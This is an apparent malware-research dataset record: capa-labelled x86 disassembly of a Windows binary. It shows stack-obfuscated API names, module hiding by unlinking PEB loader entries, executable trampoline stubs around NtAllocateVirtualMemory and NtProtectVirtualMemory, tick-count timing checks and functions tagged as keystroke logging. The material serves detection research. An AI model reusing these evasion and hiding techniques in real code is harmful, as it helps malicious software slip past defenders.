joyce8/EMBER2024-capa huggingface dataset:
Function at 0x100888d0
Capabilities:
Contain obfuscated stackstrings

Disassembly:
sub esp, 0x5c
mov eax, dword [0x101b629c]
xor eax, esp
mov dword [esp + 0x58], eax
mov cl, 0x50
mov al, 0x4c
push ebx
mov byte [esp + 0x43], al
mov byte [esp + 0x44], al
mov al, 0x65
mov byte [esp + 0x3c], cl
mov byte [esp + 0x3f], cl
mov byte [esp + 0x4b], cl
mov cl, 0x72
push esi
push edi
mov byte [esp + 0x51], al
mov byte [esp + 0x54], al
mov byte [esp + 0x5d], al
mov byte [esp + 0x55], cl
mov dl, 0x6f
mov byte [esp + 0x58], cl
mov cl, 0x6e
lea eax, [esp + 0x44]
mov bl, 0x66
push eax
xor edi, edi
mov byte [esp + 0x49], 0x53
mov byte [esp + 0x4a], 0x41
mov byte [esp + 0x4c], 0x49
mov byte [esp + 0x4d], 0x2e
mov byte [esp + 0x4e], 0x44
mov byte [esp + 0x51], 0
mov byte [esp + 0x54], 0x47
mov byte [esp + 0x56], 0x74
mov byte [esp + 0x5a], bl
mov byte [esp + 0x5b], dl
mov byte [esp + 0x5d], 0x6d
mov byte [esp + 0x5e], 0x61
mov byte [esp + 0x5f], cl
mov byte [esp + 0x60], 0x63
mov byte [esp + 0x62], 0x49
mov byte [esp + 0x63], cl
mov byte [esp + 0x64], bl
mov byte [esp + 0x65], dl
mov byte [esp + 0x66], 0
call dword [sym.imp.KERNEL32.DLL_LoadLibraryA]
mov esi, eax
test esi, esi
jne 0x10088995
pop edi
pop esi
pop ebx
mov ecx, dword [esp + 0x58]
xor ecx, esp
call fcn.100ff704
add esp, 0x5c
ret
lea ecx, [esp + 0x50]
push ecx
push esi
call dword [sym.imp.KERNEL32.DLL_GetProcAddress]
push 0x38
lea edx, [esp + 0x10]
push 0
push edx
mov ebx, eax
call fcn.10100160
add esp, 0xc
push 0x38
lea eax, [esp + 0x10]
push eax
call ebx
test eax, eax
je 0x100889c5
mov edi, dword [esp + 0x34]
push esi
call dword [sym.imp.KERNEL32.DLL_FreeLibrary]
mov ecx, dword [esp + 0x64]
mov eax, edi
pop edi
pop esi
pop ebx
xor ecx, esp
call fcn.100ff704
add esp, 0x5c
ret
Function at 0x1008b890
Capabilities:
Log keystrokes

Disassembly:
mov eax, dword [esp + 4]
push esi
push eax
call fcn.1008b660
mov esi, eax
add esp, 4
test esi, esi
je 0x1008b8e8
push esi
call dword [sym.imp.USER32.dll_IsWindow]
test eax, eax
je 0x1008b8e8
push ebx
push ebp
push edi
push 0
push esi
call fcn.10054310
add esp, 8
mov esi, eax
call dword [sym.imp.KERNEL32.DLL_GetCurrentThreadId]
mov ebx, dword [sym.imp.USER32.dll_AttachThreadInput]
push 1
mov edi, eax
push esi
push edi
call ebx
call dword [sym.imp.USER32.dll_GetFocus]
push 0
push esi
push edi
mov ebp, eax
call ebx
pop edi
mov eax, ebp
pop ebp
pop ebx
pop esi
ret
xor eax, eax
pop esi
ret
Function at 0x1008c220
Capabilities:
Check for time delay via gettickcount
Contain obfuscated stackstrings

Disassembly:
push 0xffffffffffffffff
push 0x101652db
mov eax, dword fs:[0]
push eax
sub esp, 0x134
mov eax, dword [0x101b629c]
xor eax, esp
mov dword [esp + 0x130], eax
push ebx
push ebp
push esi
push edi
mov eax, dword [0x101b629c]
xor eax, esp
push eax
lea eax, [esp + 0x148]
mov dword fs:[0], eax
mov eax, dword [esp + 0x15c]
xor ebx, ebx
cmp eax, ebx
jne 0x1008c273
call dword [sym.imp.USER32.dll_GetDesktopWindow]
jmp 0x1008c3fc
cmp eax, 1
jne 0x1008c3fa
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push 5
push eax
call fcn.10054350
push ebx
push eax
call fcn.10054350
mov ebp, eax
add esp, 0x10
mov edi, ebp
call dword [sym.imp.KERNEL32.DLL_GetTickCount]
cmp ebp, ebx
mov dword [esp + 0x14], eax
mov al, 0x6c
mov byte [esp + 0x34], 0x53
mov byte [esp + 0x35], 0x68
mov byte [esp + 0x36], 0x65
mov byte [esp + 0x37], al
mov byte [esp + 0x38], al
mov byte [esp + 0x39], 0x5f
mov byte [esp + 0x3a], 0x54
mov byte [esp + 0x3b], 0x72
mov byte [esp + 0x3c], 0x61
mov byte [esp + 0x3d], 0x79
mov byte [esp + 0x3e], 0x57
mov byte [esp + 0x3f], 0x6e
mov byte [esp + 0x40], 0x64
mov byte [esp + 0x41], bl
je 0x1008c3f6
nop
push edi
mov ebp, edi
call dword [sym.imp.USER32.dll_IsWindowEnabled]
test eax, eax
je 0x1008c3c9
push edi
call dword [sym.imp.USER32.dll_IsWindowVisible]
test eax, eax
je 0x1008c3c9
push 0xff
lea eax, [esp + 0x49]
push ebx
push eax
mov byte [esp + 0x50], bl
call fcn.10100160
push ebx
lea esi, [esp + 0x28]
call fcn.1008b500
add esp, 0x10
mov dword [esp + 0x150], ebx
mov esi, 0x10
cmp dword [eax + 0x18], esi
jb 0x1008c347
mov ecx, dword [eax + 4]
jmp 0x1008c34a
lea ecx, [eax + 4]
lea edx, [esp + 0x44]
mov edi, edi
mov al, byte [ecx]
mov byte [edx], al
add ecx, 1
add edx, 1
cmp al, bl
jne 0x1008c350
mov dword [esp + 0x150], 0xffffffff
cmp dword [esp + 0x30], esi
jb 0x1008c37c
mov ecx, dword [esp + 0x1c]
push ecx
call fcn.100ee0d8
add esp, 4
push edi
mov dword [esp + 0x34], 0xf
mov dword [esp + 0x30], ebx
mov byte [esp + 0x20], bl
call dword [sym.imp.USER32.dll_GetParent]
test eax, eax
jne 0x1008c3c9
lea ecx, [esp + 0x34]
lea eax, [esp + 0x44]
nop
mov dl, byte [eax]
cmp dl, byte [ecx]
jne 0x1008c3c0
cmp dl, bl
je 0x1008c3bc
mov dl, byte [eax + 1]
cmp dl, byte [ecx + 1]
jne 0x1008c3c0
add eax, 2
add ecx, 2
cmp dl, bl
jne 0x1008c3a0
xor eax, eax
jmp 0x1008c3c5
sbb eax, eax
sbb eax, 0xffffffff
cmp eax, ebx
je 0x1008c3f6
push 2
push edi
call fcn.10054350
add esp, 8
mov edi, eax
call dword [sym.imp.KERNEL32.DLL_GetTickCount]
sub eax, dword [esp + 0x14]
cmp eax, dword [0x101a18e8]
jae 0x1008c3f4
cmp edi, ebx
jne 0x1008c2f0
mov eax, ebp
jmp 0x1008c3fc
xor ebp, ebp
mov eax, ebp
jmp 0x1008c3fc
xor eax, eax
mov ecx, dword [esp + 0x148]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebp
pop ebx
mov ecx, dword [esp + 0x130]
xor ecx, esp
call fcn.100ff704
add esp, 0x140
ret
Function at 0x1008c730
Capabilities:
Log keystrokes

Disassembly:
push ebp
mov ebp, dword [esp + 0xc]
test ebp, ebp
jne 0x1008c748
mov eax, dword [esp + 8]
push eax
call fcn.1008b660
add esp, 4
mov ebp, eax
push ebp
call dword [sym.imp.USER32.dll_IsWindow]
test eax, eax
jne 0x1008c755
pop ebp
ret
push ebx
push esi
push edi
push 5
push ebp
call fcn.10054350
add esp, 8
test eax, eax
je 0x1008c7d8
call dword [sym.imp.KERNEL32.DLL_GetCurrentThreadId]
push 0
push ebp
mov esi, eax
call fcn.10054310
add esp, 8
push 1
mov edi, eax
push edi
push esi
call dword [sym.imp.USER32.dll_AttachThreadInput]
call dword [sym.imp.USER32.dll_GetFocus]
push 0
push edi
push esi
mov ebx, eax
call dword [sym.imp.USER32.dll_AttachThreadInput]
mov edi, dword [sym.imp.USER32.dll_IsWindow]
push ebx
call edi
test eax, eax
je 0x1008c7d8
push ebx
call dword [sym.imp.USER32.dll_IsWindowVisible]
test eax, eax
je 0x1008c7d8
push ebx
mov esi, ebx
call edi
test eax, eax
je 0x1008c7d8
lea esp, [esp]
cmp esi, ebp
je 0x1008c7d6
push esi
call dword [sym.imp.USER32.dll_GetParent]
mov esi, eax
push esi
call edi
test eax, eax
jne 0x1008c7c0
jmp 0x1008c7d8
mov ebp, ebx
push ebp
call dword [sym.imp.USER32.dll_IsWindowUnicode]
test eax, eax
je 0x1008c88f
mov eax, dword [esp + 0x1c]
lea edx, [eax + 1]
mov edi, edi
mov cl, byte [eax]
add eax, 1
test cl, cl
jne 0x1008c7f0
sub eax, edx
mov esi, eax
lea ebx, [esi + esi + 2]
push ebx
call fcn.100ff166
mov edi, eax
add esp, 4
test edi, edi
jne 0x1008c815
pop edi
pop esi
pop ebx
pop ebp
ret
push ebx
push 0
push edi
call fcn.10100160
mov ecx, dword [esp + 0x28]
add esp, 0xc
add esi, 1
push esi
push edi
push 0xffffffffffffffff
push ecx
push 0
push 0
call dword [sym.imp.KERNEL32.DLL_MultiByteToWideChar]
mov eax, edi
lea edx, [eax + 2]
lea esp, [esp]
mov cx, word [eax]
add eax, 2
test cx, cx
jne 0x1008c840
sub eax, edx
sar eax, 1
mov ebx, eax
xor esi, esi
test ebx, ebx
jle 0x1008c87c
jmp 0x1008c860
movzx edx, word [edi + esi*2]
push 0x4000001
push edx
push 0x102
push ebp
call fcn.10054340
add esi, 1
cmp esi, ebx
jl 0x1008c860
push edi
call fcn.100ff229
add esp, 4
pop edi
pop esi
pop ebx
mov eax, 1
pop ebp
ret
mov ebx, dword [esp + 0x1c]
mov eax, ebx
lea edx, [eax + 1]
mov cl, byte [eax]
add eax, 1
test cl, cl
jne 0x1008c898
sub eax, edx
mov edi, eax
xor esi, esi
test edi, edi
jle 0x1008c8cc
jmp 0x1008c8b0
movzx eax, byte [esi + ebx]
push 0x4000001
push eax
push 0x102
push ebp
call fcn.10054340
add esi, 1
cmp esi, edi
jl 0x1008c8b0
pop edi
pop esi
pop ebx
mov eax, 1
pop ebp
ret
Function at 0x1008c8e0
Capabilities:
Log keystrokes

Disassembly:
push ebx
mov ebx, dword [esp + 0xc]
test ebx, ebx
jne 0x1008c8f8
mov eax, dword [esp + 8]
push eax
call fcn.1008b660
add esp, 4
mov ebx, eax
push ebx
call dword [sym.imp.USER32.dll_IsWindow]
test eax, eax
jne 0x1008c905
pop ebx
ret
push 5
push ebx
call fcn.10054350
add esp, 8
test eax, eax
je 0x1008c98b
push ebp
push esi
push edi
call dword [sym.imp.KERNEL32.DLL_GetCurrentThreadId]
push 0
push ebx
mov esi, eax
call fcn.10054310
add esp, 8
push 1
mov edi, eax
push edi
push esi
call dword [sym.imp.USER32.dll_AttachThreadInput]
call dword [sym.imp.USER32.dll_GetFocus]
push 0
push edi
push esi
mov ebp, eax
call dword [sym.imp.USER32.dll_AttachThreadInput]
mov edi, dword [sym.imp.USER32.dll_IsWindow]
push ebp
call edi
test eax, eax
je 0x1008c988
push ebp
call dword [sym.imp.USER32.dll_IsWindowVisible]
test eax, eax
je 0x1008c988
push ebp
mov esi, ebp
call edi
test eax, eax
je 0x1008c988
lea esp, [esp]
cmp esi, ebx
je 0x1008c986
push esi
call dword [sym.imp.USER32.dll_GetParent]
mov esi, eax
push esi
call edi
test eax, eax
jne 0x1008c970
jmp 0x1008c988
mov ebx, ebp
pop edi
pop esi
pop ebp
push 0
push 0
push 0x302
push ebx
call fcn.10054340
mov eax, 1
pop ebx
ret

Function at 0x1008d2b0
Capabilities:
Check for time delay via gettickcount

Disassembly:
mov eax, dword [esp + 4]
sub esp, 8
push 5
push eax
call fcn.10054350
add esp, 8
test eax, eax
jne 0x1008d2ca
add esp, 8
ret
push ebx
push ebp
push esi
push edi
push 0
push eax
call fcn.10054350
add esp, 8
mov esi, eax
call dword [sym.imp.KERNEL32.DLL_GetTickCount]
push esi
mov dword [esp + 0x18], eax
call dword [sym.imp.USER32.dll_IsWindow]
test eax, eax
je 0x1008d385
mov edi, dword [esp + 0x28]
mov ebx, dword [esp + 0x24]
mov ebp, dword [esp + 0x20]
push edi
push ebx
mov ecx, ebp
mov edx, esi
mov dword [esp + 0x18], esi
call fcn.1008cc80
add esp, 8
test eax, eax
je 0x1008d332
mov ecx, dword [esp + 0x34]
mov edx, dword [esp + 0x30]
push ecx
mov ecx, dword [esp + 0x30]
push edx
mov edx, esi
call fcn.1008cc80
add esp, 8
test eax, eax
jne 0x1008d38f
mov eax, dword [esp + 0x34]
mov ecx, dword [esp + 0x30]
mov edx, dword [esp + 0x2c]
push eax
push ecx
push edx
push edi
push ebx
push ebp
push esi
call fcn.1008d2b0
add esp, 0x1c
test eax, eax
jne 0x1008d387
push 2
push esi
call fcn.10054350
mov esi, eax
add esp, 8
cmp dword [esp + 0x10], esi
je 0x1008d385
call dword [sym.imp.KERNEL32.DLL_GetTickCount]
sub eax, dword [esp + 0x14]
cmp eax, dword [0x101a18e8]
jae 0x1008d385
push esi
call dword [sym.imp.USER32.dll_IsWindow]
test eax, eax
jne 0x1008d300
xor eax, eax
pop edi
pop esi
pop ebp
pop ebx
add esp, 8
ret
pop edi
mov eax, esi
pop esi
pop ebp
pop ebx
add esp, 8
ret
Function at 0x100afd00
Capabilities:
Access peb ldr_data

Disassembly:
push ecx
cmp dword [0x102cc3bc], 0
jne 0x100afd1d
mov eax, dword [0x101b7c4c]
push eax
call fcn.10032270
add esp, 4
mov dword [0x102cc3bc], eax
mov edx, dword [0x101b7c4c]
mov eax, dword fs:[0x30]
mov ecx, dword [eax + 0xc]
mov dword [esp], ecx
mov ecx, dword [esp]
mov eax, dword [ecx + 0xc]
add ecx, 0xc
cmp edx, dword [eax + 0x18]
je 0x100afd45
mov eax, dword [eax]
cmp ecx, eax
jne 0x100afd38
pop ecx
ret
mov ecx, dword [eax + 4]
mov dword [0x102c7730], eax
mov edx, dword [ecx]
mov dword [0x102c7734], edx
mov edx, dword [eax]
push esi
mov esi, dword [edx + 4]
mov dword [0x102c7738], esi
mov esi, dword [eax + 0x14]
mov esi, dword [esi]
mov dword [0x102c773c], esi
mov esi, dword [eax + 0x10]
mov esi, dword [esi + 4]
mov dword [0x102c7740], esi
mov esi, dword [eax + 0xc]
mov esi, dword [esi]
mov dword [0x102c7744], esi
mov esi, dword [eax + 8]
mov esi, dword [esi + 4]
mov dword [0x102c7748], esi
mov dword [ecx], edx
mov ecx, dword [eax]
mov edx, dword [eax + 4]
mov dword [ecx + 4], edx
mov ecx, dword [eax + 0x14]
mov edx, dword [eax + 0x10]
mov dword [ecx], edx
mov ecx, dword [eax + 0x10]
mov edx, dword [eax + 0x14]
mov dword [ecx + 4], edx
mov ecx, dword [eax + 0xc]
mov edx, dword [eax + 8]
mov dword [ecx], edx
mov ecx, dword [eax + 8]
mov edx, dword [eax + 0xc]
mov dword [ecx + 4], edx
pop esi
pop ecx
ret

Function at 0x100b0ac0
Capabilities:
Get disk information

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x820
mov eax, dword [0x101b629c]
xor eax, ebp
mov dword [ebp - 0x10], eax
push 0x800
push 0
lea eax, [ebp - 0x810]
push eax
call fcn.10100160
add esp, 0xc
lea ecx, [ebp - 0x810]
push ecx
push 0x800
call dword [sym.imp.KERNEL32.DLL_GetLogicalDriveStringsA]
mov dword [ebp - 0xc], eax
cmp dword [ebp - 0xc], 0
jne 0x100b0b0b
xor eax, eax
jmp 0x100b0b8b
mov dword [ebp - 4], 0
lea edx, [ebp - 0x810]
mov dword [ebp - 8], edx
mov eax, dword [ebp - 8]
movsx ecx, byte [eax]
test ecx, ecx
je 0x100b0b88
mov edx, dword [ebp - 4]
add edx, 1
mov dword [ebp - 4], edx
mov eax, dword [ebp - 8]
mov dword [ebp - 0x814], eax
mov ecx, dword [ebp - 0x814]
add ecx, 1
mov dword [ebp - 0x818], ecx
mov edx, dword [ebp - 0x814]
mov al, byte [edx]
mov byte [ebp - 0x819], al
add dword [ebp - 0x814], 1
cmp byte [ebp - 0x819], 0
jne 0x100b0b46
mov ecx, dword [ebp - 0x814]
sub ecx, dword [ebp - 0x818]
mov dword [ebp - 0x820], ecx
mov edx, dword [ebp - 0x820]
mov eax, dword [ebp - 8]
lea ecx, [eax + edx + 1]
mov dword [ebp - 8], ecx
jmp 0x100b0b1b
mov eax, dword [ebp - 4]
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.100ff704
mov esp, ebp
pop ebp
ret
Function at 0x100b0e20
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x2c
mov eax, dword [0x101b629c]
xor eax, ebp
mov dword [ebp - 4], eax
mov byte [ebp - 0x24], 0x69
mov byte [ebp - 0x23], 0x6d
mov byte [ebp - 0x22], 0x6d
mov byte [ebp - 0x21], 0x33
mov byte [ebp - 0x20], 0x32
mov byte [ebp - 0x1f], 0x2e
mov byte [ebp - 0x1e], 0x64
mov byte [ebp - 0x1d], 0x6c
mov byte [ebp - 0x1c], 0x6c
mov byte [ebp - 0x1b], 0
mov byte [ebp - 0x14], 0x49
mov byte [ebp - 0x13], 0x6d
mov byte [ebp - 0x12], 0x6d
mov byte [ebp - 0x11], 0x49
mov byte [ebp - 0x10], 0x6e
mov byte [ebp - 0xf], 0x73
mov byte [ebp - 0xe], 0x74
mov byte [ebp - 0xd], 0x61
mov byte [ebp - 0xc], 0x6c
mov byte [ebp - 0xb], 0x6c
mov byte [ebp - 0xa], 0x49
mov byte [ebp - 9], 0x4d
mov byte [ebp - 8], 0x45
mov byte [ebp - 7], 0x41
mov byte [ebp - 6], 0
mov dword [ebp - 0x28], 0
lea eax, [ebp - 0x24]
push eax
call dword [sym.imp.KERNEL32.DLL_LoadLibraryA]
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], 0
je 0x100b0ed7
lea ecx, [ebp - 0x14]
push ecx
mov edx, dword [ebp - 0x18]
push edx
call dword [sym.imp.KERNEL32.DLL_GetProcAddress]
mov dword [ebp - 0x2c], eax
mov eax, dword [ebp + 0xc]
push eax
mov ecx, dword [ebp + 8]
push ecx
call dword [ebp - 0x2c]
mov dword [ebp - 0x28], eax
mov edx, dword [ebp - 0x18]
push edx
call dword [sym.imp.KERNEL32.DLL_FreeLibrary]
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.100ff704
mov esp, ebp
pop ebp
ret 8

Function at 0x100b0ef0
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x2c
mov eax, dword [0x101b629c]
xor eax, ebp
mov dword [ebp - 4], eax
cmp dword [fcn.102c77a8], 0
jne 0x100b0fb7
mov byte [ebp - 0x2c], 0x6e
mov byte [ebp - 0x2b], 0x74
mov byte [ebp - 0x2a], 0x64
mov byte [ebp - 0x29], 0x6c
mov byte [ebp - 0x28], 0x6c
mov byte [ebp - 0x27], 0x2e
mov byte [ebp - 0x26], 0x64
mov byte [ebp - 0x25], 0x6c
mov byte [ebp - 0x24], 0x6c
mov byte [ebp - 0x23], 0
mov byte [ebp - 0x20], 0x52
mov byte [ebp - 0x1f], 0x74
mov byte [ebp - 0x1e], 0x6c
mov byte [ebp - 0x1d], 0x46
mov byte [ebp - 0x1c], 0x6c
mov byte [ebp - 0x1b], 0x75
mov byte [ebp - 0x1a], 0x73
mov byte [ebp - 0x19], 0x68
mov byte [ebp - 0x18], 0x53
mov byte [ebp - 0x17], 0x65
mov byte [ebp - 0x16], 0x63
mov byte [ebp - 0x15], 0x75
mov byte [ebp - 0x14], 0x72
mov byte [ebp - 0x13], 0x65
mov byte [ebp - 0x12], 0x4d
mov byte [ebp - 0x11], 0x65
mov byte [ebp - 0x10], 0x6d
mov byte [ebp - 0xf], 0x6f
mov byte [ebp - 0xe], 0x72
mov byte [ebp - 0xd], 0x79
mov byte [ebp - 0xc], 0x43
mov byte [ebp - 0xb], 0x61
mov byte [ebp - 0xa], 0x63
mov byte [ebp - 9], 0x68
mov byte [ebp - 8], 0x65
mov byte [ebp - 7], 0
lea eax, [ebp - 0x20]
push eax
lea ecx, [ebp - 0x2c]
push ecx
call dword [sym.imp.KERNEL32.DLL_GetModuleHandleA]
push eax
call dword [sym.imp.KERNEL32.DLL_GetProcAddress]
mov dword [fcn.102c77a8], eax
mov edx, dword [ebp + 0xc]
push edx
mov eax, dword [ebp + 8]
push eax
call dword [fcn.102c77a8]
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.100ff704
mov esp, ebp
pop ebp
ret 8
Function at 0x100b1050
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x28
mov eax, dword [0x101b629c]
xor eax, ebp
mov dword [ebp - 4], eax
cmp dword [fcn.102c77b4], 0
jne 0x100b110f
mov byte [ebp - 0x1c], 0x4e
mov byte [ebp - 0x1b], 0x74
mov byte [ebp - 0x1a], 0x41
mov byte [ebp - 0x19], 0x6c
mov byte [ebp - 0x18], 0x6c
mov byte [ebp - 0x17], 0x6f
mov byte [ebp - 0x16], 0x63
mov byte [ebp - 0x15], 0x61
mov byte [ebp - 0x14], 0x74
mov byte [ebp - 0x13], 0x65
mov byte [ebp - 0x12], 0x56
mov byte [ebp - 0x11], 0x69
mov byte [ebp - 0x10], 0x72
mov byte [ebp - 0xf], 0x74
mov byte [ebp - 0xe], 0x75
mov byte [ebp - 0xd], 0x61
mov byte [ebp - 0xc], 0x6c
mov byte [ebp - 0xb], 0x4d
mov byte [ebp - 0xa], 0x65
mov byte [ebp - 9], 0x6d
mov byte [ebp - 8], 0x6f
mov byte [ebp - 7], 0x72
mov byte [ebp - 6], 0x79
mov byte [ebp - 5], 0
mov byte [ebp - 0x28], 0x6e
mov byte [ebp - 0x27], 0x74
mov byte [ebp - 0x26], 0x64
mov byte [ebp - 0x25], 0x6c
mov byte [ebp - 0x24], 0x6c
mov byte [ebp - 0x23], 0x2e
mov byte [ebp - 0x22], 0x64
mov byte [ebp - 0x21], 0x6c
mov byte [ebp - 0x20], 0x6c
mov byte [ebp - 0x1f], 0
lea eax, [ebp - 0x1c]
push eax
lea ecx, [ebp - 0x28]
push ecx
call dword [sym.imp.KERNEL32.DLL_GetModuleHandleA]
push eax
call dword [sym.imp.KERNEL32.DLL_GetProcAddress]
mov dword [fcn.102c77b4], eax
mov edx, dword [ebp + 0x1c]
push edx
mov eax, dword [ebp + 0x18]
push eax
mov ecx, dword [ebp + 0x14]
push ecx
mov edx, dword [ebp + 0x10]
push edx
mov eax, dword [ebp + 0xc]
push eax
mov ecx, dword [ebp + 8]
push ecx
call dword [fcn.102c77b4]
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.100ff704
mov esp, ebp
pop ebp
ret 0x18
Function at 0x100b1e20
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x38
mov eax, dword [0x101b629c]
xor eax, ebp
mov dword [ebp - 8], eax
cmp dword [0x102c77b0], 0
jne 0x100b1f44
mov byte [ebp - 0x20], 0x4e
mov byte [ebp - 0x1f], 0x74
mov byte [ebp - 0x1e], 0x41
mov byte [ebp - 0x1d], 0x6c
mov byte [ebp - 0x1c], 0x6c
mov byte [ebp - 0x1b], 0x6f
mov byte [ebp - 0x1a], 0x63
mov byte [ebp - 0x19], 0x61
mov byte [ebp - 0x18], 0x74
mov byte [ebp - 0x17], 0x65
mov byte [ebp - 0x16], 0x56
mov byte [ebp - 0x15], 0x69
mov byte [ebp - 0x14], 0x72
mov byte [ebp - 0x13], 0x74
mov byte [ebp - 0x12], 0x75
mov byte [ebp - 0x11], 0x61
mov byte [ebp - 0x10], 0x6c
mov byte [ebp - 0xf], 0x4d
mov byte [ebp - 0xe], 0x65
mov byte [ebp - 0xd], 0x6d
mov byte [ebp - 0xc], 0x6f
mov byte [ebp - 0xb], 0x72
mov byte [ebp - 0xa], 0x79
mov byte [ebp - 9], 0
mov byte [ebp - 0x38], 0x6e
mov byte [ebp - 0x37], 0x74
mov byte [ebp - 0x36], 0x64
mov byte [ebp - 0x35], 0x6c
mov byte [ebp - 0x34], 0x6c
mov byte [ebp - 0x33], 0x2e
mov byte [ebp - 0x32], 0x64
mov byte [ebp - 0x31], 0x6c
mov byte [ebp - 0x30], 0x6c
mov byte [ebp - 0x2f], 0
lea eax, [ebp - 0x20]
push eax
lea ecx, [ebp - 0x38]
push ecx
call dword [sym.imp.KERNEL32.DLL_GetModuleHandleA]
push eax
call dword [sym.imp.KERNEL32.DLL_GetProcAddress]
mov dword [ebp - 4], eax
push 5
lea edx, [ebp - 0x2c]
push edx
lea eax, [ebp - 0x38]
push eax
mov ecx, dword [ebp - 4]
push ecx
call fcn.100dd560
add esp, 0x10
test eax, eax
je 0x100b1f44
mov byte [ebp - 0x27], 0x68
mov edx, dword [ebp - 4]
add edx, 5
mov dword [ebp - 0x26], edx
mov byte [ebp - 0x22], 0xc3
push 0x40
push 0x3000
push 0xb
push 0
call fcn.100b1140
mov dword [0x102c77b0], eax
cmp dword [0x102c77b0], 0
je 0x100b1f44
mov eax, dword [0x102c77b0]
mov ecx, dword [ebp - 0x2c]
mov dword [eax], ecx
mov edx, dword [ebp - 0x28]
mov dword [eax + 4], edx
mov cx, word [ebp - 0x24]
mov word [eax + 8], cx
mov dl, byte [ebp - 0x22]
mov byte [eax + 0xa], dl
cmp dword [0x102c77b0], 0
je 0x100b1f53
cmp dword [ebp + 8], 0
jne 0x100b1f58
or eax, 0xffffffff
jmp 0x100b1f76
mov eax, dword [ebp + 0x1c]
push eax
mov ecx, dword [ebp + 0x18]
push ecx
mov edx, dword [ebp + 0x14]
push edx
mov eax, dword [ebp + 0x10]
push eax
mov ecx, dword [ebp + 0xc]
push ecx
mov edx, dword [ebp + 8]
push edx
call dword [0x102c77b0]
mov ecx, dword [ebp - 8]
xor ecx, ebp
call fcn.100ff704
mov esp, ebp
pop ebp
ret 0x18
Function at 0x100b2060
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x38
mov eax, dword [0x101b629c]
xor eax, ebp
mov dword [ebp - 8], eax
cmp dword [0x102c77ac], 0
jne 0x100b2180
mov byte [ebp - 0x38], 0x6e
mov byte [ebp - 0x37], 0x74
mov byte [ebp - 0x36], 0x64
mov byte [ebp - 0x35], 0x6c
mov byte [ebp - 0x34], 0x6c
mov byte [ebp - 0x33], 0x2e
mov byte [ebp - 0x32], 0x64
mov byte [ebp - 0x31], 0x6c
mov byte [ebp - 0x30], 0x6c
mov byte [ebp - 0x2f], 0
mov byte [ebp - 0x20], 0x4e
mov byte [ebp - 0x1f], 0x74
mov byte [ebp - 0x1e], 0x50
mov byte [ebp - 0x1d], 0x72
mov byte [ebp - 0x1c], 0x6f
mov byte [ebp - 0x1b], 0x74
mov byte [ebp - 0x1a], 0x65
mov byte [ebp - 0x19], 0x63
mov byte [ebp - 0x18], 0x74
mov byte [ebp - 0x17], 0x56
mov byte [ebp - 0x16], 0x69
mov byte [ebp - 0x15], 0x72
mov byte [ebp - 0x14], 0x74
mov byte [ebp - 0x13], 0x75
mov byte [ebp - 0x12], 0x61
mov byte [ebp - 0x11], 0x6c
mov byte [ebp - 0x10], 0x4d
mov byte [ebp - 0xf], 0x65
mov byte [ebp - 0xe], 0x6d
mov byte [ebp - 0xd], 0x6f
mov byte [ebp - 0xc], 0x72
mov byte [ebp - 0xb], 0x79
mov byte [ebp - 0xa], 0
lea eax, [ebp - 0x20]
push eax
lea ecx, [ebp - 0x38]
push ecx
call dword [sym.imp.KERNEL32.DLL_GetModuleHandleA]
push eax
call dword [sym.imp.KERNEL32.DLL_GetProcAddress]
mov dword [ebp - 4], eax
push 5
lea edx, [ebp - 0x2c]
push edx
lea eax, [ebp - 0x38]
push eax
mov ecx, dword [ebp - 4]
push ecx
call fcn.100dd560
add esp, 0x10
test eax, eax
je 0x100b2180
mov byte [ebp - 0x27], 0x68
mov edx, dword [ebp - 4]
add edx, 5
mov dword [ebp - 0x26], edx
mov byte [ebp - 0x22], 0xc3
push 0x40
push 0x3000
push 0xb
push 0
call fcn.100b2040
mov dword [0x102c77ac], eax
cmp dword [0x102c77ac], 0
je 0x100b2180
mov eax, dword [0x102c77ac]
mov ecx, dword [ebp - 0x2c]
mov dword [eax], ecx
mov edx, dword [ebp - 0x28]
mov dword [eax + 4], edx
mov cx, word [ebp - 0x24]
mov word [eax + 8], cx
mov dl, byte [ebp - 0x22]
mov byte [eax + 0xa], dl
cmp dword [0x102c77ac], 0
je 0x100b218f
cmp dword [ebp + 8], 0
jne 0x100b2194
or eax, 0xffffffff
jmp 0x100b21ae
mov eax, dword [ebp + 0x18]
push eax
mov ecx, dword [ebp + 0x14]
push ecx
mov edx, dword [ebp + 0x10]
push edx
mov eax, dword [ebp + 0xc]
push eax
mov ecx, dword [ebp + 8]
push ecx
call dword [0x102c77ac]
mov ecx, dword [ebp - 8]
xor ecx, ebp
call fcn.100ff704
mov esp, ebp
pop ebp
ret 0x14